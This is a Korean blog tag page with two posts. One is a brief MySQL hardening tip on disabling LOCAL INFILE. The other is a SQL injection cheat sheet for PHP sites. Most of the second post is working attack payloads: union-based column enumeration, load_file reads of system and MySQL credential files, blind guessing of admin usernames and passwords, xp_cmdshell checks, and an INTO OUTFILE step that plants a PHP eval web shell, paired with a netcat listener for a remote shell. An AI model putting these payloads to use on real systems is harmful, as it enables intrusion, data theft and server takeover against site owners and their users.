'load_file'에 해당되는 글 2건

  1. 2010.08.17 Disable the use of LOCAL INFILE
  2. 2010.05.13 PHP 인젝션 기본구문 이해 (2)
2010.08.17 18:58

Disable the use of LOCAL INFILE

The next change is to disable the use of the "LOAD DATA LOCAL INFILE" command, which will help to prevent unauthorized reading from local files. This is especially important when new SQL Injection vulnerabilities in PHP applications are found.

In addition, in certain cases, the "LOCAL INFILE" command can be used to gain access to other files on the operating system, for instance "/etc/passwd", using the following command:
mysql> LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE table1

Or even simpler:
mysql> SELECT load_file("/etc/passwd")
To disable the usage of the "LOCAL INFILE" command, the following parameter should be added in the [mysqld] section of the MySQL configuration file.



Trackback 0 Comment 0
2010.05.13 10:47

PHP 인젝션 기본구문 이해

1. 삽입 위치 확인

and 1=1 (정상, 이전 페이지와 동일)
and 1-2 (오류가 아닌 이전 페이지와 같음)

2. union 쿼리 수행 여부 결정

and ord(mid(version(),1,1))>51 (4.0이상 가능, 3.0 51 이상)

3. order by 사용 스톰 필드

order by 숫자 (오류 5, 정상 4)

4. union 사용 정확한 필드 쿼리

and 1=2 union select 1,2,3,....... (정확한 숫자 추측)

5. 데이터베이스 쓰기권한 계정 확인 (root권한)

and (select count(*) from mysql.user)>0 (오류는 관리자 계정 암호 추측에 사용)

- load_file(char(파일경로ascii값 쉼표로 분리 또는 16진수 사용)) 기능으로 확인 가능

6. 관리자 계정 비밀번호

- 내용 표시 여부 결정

and 1=2 union select 1,user(),3,4,5,6....

주요기능:user() 현재 데이터베이스에 연결 사용자
              database() 현재 데이터베이스 이름
              version() 버전확인
              system_user() 시스템 사용자 확인
              current_user 현재 사용자 확인
              session_user() 데이터베이스 연결된 사용자 확인

- 정책 확인

and 1=2 union select 1,2,3,4,5,6.... from 테이블이름
and 1=2 union select 1,필드이름,3,4,5,6.... from admin (admin 테이블에 맞게 쿼리 수정)

(부정문이 안될 경우 음수를 사용 : php?id=-1 union select 1,2,3,4,5,6.... from 테이블이름)

7. load_file(char()) 파일 읽기

and 1=2 union select 1,2,3,4,5,6,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),8.........

99,58,92,98,111,111,116,46,105,110,105 (c:\boot.ini 파일경로 아스키값 쉼표 구분 또는 16진수 사용)

- 16진수 사용할 경우

and 1=2 union select 1,2,3,4,5,6,load_file(0x633A5C626F6F742E696E69),8......... (char 입력 안함)

0x633A5C626F6F742E696E69 (c:\boot.ini)

- 민감한 경로

c:/windows/php.ini    windows2003

c:/winnt/php.ini      windows2000

c:/windows/my.ini windows2003(MySQL 로그인 아이디 및 암호)

c:/winnt/my.ini   windows2000(MySQL 로그인 아이디 및 암호)



/usr/local/httpd/conf/httpd.conf (디폴트 경로)

/usr/local/apache2/conf/httpd.conf (디폴트 경로)

- FreeBSD

load_file(char(47)) (FreeBSD 시스템 루트 디렉토리)

8. 패스워드를 획득한 경우 (디비서버와 웹서버가 같은 서버인 경우)

- MySQL 원격 접속 쿼리

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile 'E:/웹경로/empt.php';

- MySQL 시스템 권한 사용

nc -vv -l -p 1983

\. c:\mysql.txt
select Mixconnect('로컬IP','1983');

로컬에서 원격 서버 cmdshell 획득 가능

- 오류 없는 정상 쿼리

php?id=108/**/and/**/1=1/**/union/**/select/**/1,2/* (필드수 추측)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,8/**/from/**/테이블/* (필드수 확인)
php?id=108/**/and/**/1=1/**/union/**/select/**/1,2,3,4,5,6,7,필드/**/from/**/테이블/* (필드이름 확인)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,load_file(char(99,58,92,98,111,111,116,46,105,110,105)),7,8/* (공격파일)
php?id=108/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,username,7,8/**/from/**/테이블/**/where/**/id=1/* (내용확인)

- 추측 예시

' ; and 1=1 and 1=2
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) --
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(name)>0)
and 1=(select count(*) from admin where len(password)>0)
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 오류
and 1=(select count(*) from admin where len(name)>5) 정상
and 1=(select count(*) from admin where len(name)=6) 정상
and 1=(select count(*) from admin where len(password)>11) 정상
and 1=(select count(*) from admin where len(password)>12) 오류
and 1=(select count(*) from admin where len(password)=12) 정상
and 1=(select count(*) from admin where left(name,1)='a') -- 사용자이름 첫번째 문자
and 1=(select count(*) from admin where left(name,2)='ab') -- 사용자이름 두번째 문자
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
and 1=(select @@VERSION)--
and 1=(Select IS_SRVROLEMEMBER('sysadmin'))--
and 'sa'=(Select System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--

Trackback 0 Comment 2
  1. 2010.05.13 10:49 address edit & del reply


  2. 2010.05.13 10:50 address edit & del reply